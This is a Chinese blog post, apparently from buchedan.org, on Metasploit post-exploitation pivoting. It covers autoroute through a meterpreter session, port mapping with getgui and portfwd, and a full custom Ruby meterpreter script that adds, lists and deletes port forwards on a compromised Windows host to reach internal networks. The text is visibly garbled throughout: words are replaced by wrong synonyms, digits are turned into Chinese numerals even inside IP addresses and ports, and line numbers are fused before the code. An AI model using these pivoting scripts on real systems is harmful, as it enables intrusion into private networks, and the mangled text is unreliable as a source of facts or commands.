初度打仗msf最让人高兴乐意的莫过于跳板遵守,经过msf添加路由遵守,大概直接独霸msf对原本不能访问的内网进行连贯(建树访问连贯是浸透的第1步),1旦建树连贯那么就是想干甚么都大概真是强大很是。
独霸meterpreter的autoroute遵守,即可实现该把持。首先独霸get_local_subnets脚本取得受控细碎本地子网,尔后独霸autoroute脚本添加路由。多么把持后就会看到添加的路由表,网关是session 3即payload程序。假设我在msf指定某个模块的ip地点是1九2.1六8.2四4.*,则会经过session3 网关进行转发,访问到目标ip.
跟建树网络连贯的另有1个经常独霸的,就是网络映照遵守,meterpreter中有1个getgui脚本(我的bt下脚本寄放路径/opt/metasploit/msf3/scripts/meterpreter外表有很多写好的脚本,如下图所示)
在《metasploit浸透测试指南》上说,getgui大概将远程的338九映照到本地的指定端口,遵守,这就是1个网络映照过程。
看其独霸体式格局,很简单,这里我不添加用户名和明码,直接建树连贯。运行run getgui -e -f 8080
履行后建树了连贯
大概建树连贯,转发凋射了。
但是在浸透测试中须要,总是在刷新的,畴前也有过须要,将内网的某个端口映照出来,进行连贯,是否也大概做到?带着这个标题问题,我看了1下getgui的实古代码。
我没有学过ruby,但是看了多么代码,很繁杂赫然分明,刚刚履行的run getgui -e -f 8080时,则含有-f则frwrd变量设置为true。而且保管-f背面的端口到变量lport中,而下面当frwrd为true,则会调用portfwd add -L 0.0.0.0 -l #{lport} -p 338九 -r 127.0.0.1 将远程338九(相关于payload便是127.0.0.1)映照到本地的指定的端口。
可见建树网络映照只须要这条命令即可。搜索该命令地点文件:
发明是在/opt/metasploit/msf3/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb中定义的。
应该是该命令的具体实现。从参数中很繁杂看出来。各个参数的含义。
大概看到否决很多命令add、delete、list等。
是以,如法泡制。假设我想将远程主机的10081端口映照到本地的10081端口,那怎样实现?
只须要1句话
client.run_cmd(220;portfwd add -L 0.0.0.0 -l 10081 -p 10081 -r 127.0.0.1221;)
在/opt/metasploit/msf3/scripts/meterpreter目次下创建changeport.rb
运行1下创建的脚本
看1下端口外形:
映照已经凋射。
从刚刚portfwd的命令大概知道,其否决add、delete、list命令,是以继续丰厚本身的脚本,大概实现多么1个遵守,添加端口映照、删除端口映照、查看端口映照。如法泡制大概写出如下脚本
Default123四5六78九101112131四151六17181九202122232四252六27282九303132333四353六37383九四0四1四2四3四4四5四六四7四8四九505152535四555六57585九六0六1六2六3六四六5六6六7六8六九707172737四757六77787九808182838四858六87888九90九1九2九3九四九5九六九7九8九910010110210310四10510六10710810九11011111211311四11511六11711811九12012112212312四12512六12712812九13013113213313四13513六13713813九1四01四11四21四3 | # Author: buchedan.org #------------------------------------------------------------------------------- ################## Variable Declarations ################## session = client @@exec_opts = Rex::Parser::Arguments.new( "-h" => [ true, "Help menu." ], "-c" => [ true, "include -add -list -del. " ], "-l" => [ true, "localport and it is not using." ], "-r" => [ true, "remoteip of trying to connect." ], "-p" => [ true, "remoteport of trying to connect." ] ) def usage print_line("portfwd ") print_line("Usage: changeport -c add -l <localport> -r <remoteip> -p <remoteport>") print_line("Usage: changeport -c list ") print_line("Usage: changeport -c del -l <localport> ") print(@@exec_opts.usage) raise Rex::Script::Completed end def message print_status "portfwd remoteip port to localport" print_status "http://buchedan.org" end ################## MAIN ################## # Parsing of Options cmd = nil lport = nil rip = nil rport = nil @@exec_opts.parse(args) { |opt, idx, val| case opt when "-c" cmd = val when "-h" usage when "-l" lport = val when "-r" rip = val when "-p" rport = val end } if client.platform =~ /win32|win六四/ if args.length > 0 # show info message case cmd when "list" client.run_cmd("portfwd list") when "add" if (!lport or !rip or !rport) print_error("You must supply a local port, remote host, and remote port.") return end client.run_cmd("portfwd add -L 0.0.0.0 -l #{lport} -p #{rport} -r #{rip}") #print_status("Starting the #{rip}:#{rport} forwarding at local port #{lport}") when "del" if(!lport) print_error("You must supply a local port.") return else client.run_cmd("portfwd delete -L 0.0.0.0 -l #{lport}") end end else usage end else print_error("This version of Meterpreter is not supported with this Script!") raise Rex::Script::Completed end |
放入到/opt/metasploit/msf3/scripts/meterpreter下
独霸体式格局演示
大概浮现救济消息,建树映照,浮现映照,删除映照。固然鸟语写的不好,只有本身能看懂。
起先蓦地影象,才发明现在的本身是多么的2,本来meterpreter本身就有这个portfwd遵守,大概直接独霸,我真是脱裤子放屁了。彻底实现了add、list与delete。
总结
本文主要深造,独霸lcx做端口转发,将两个内网板滞(目标板滞和msf)建树连贯,同时独霸msfpayload进行作为跳板,大概进行继续浸透。开首是简单实现端口映照,体味基本的mterpreter脚本编程。
备注:
本文主若是以windows下payload为例,实在msf否决很多种脚本建树连贯。
相关文章链接:《Metasploit后浸透技能格式[1]》
[via@buchedan]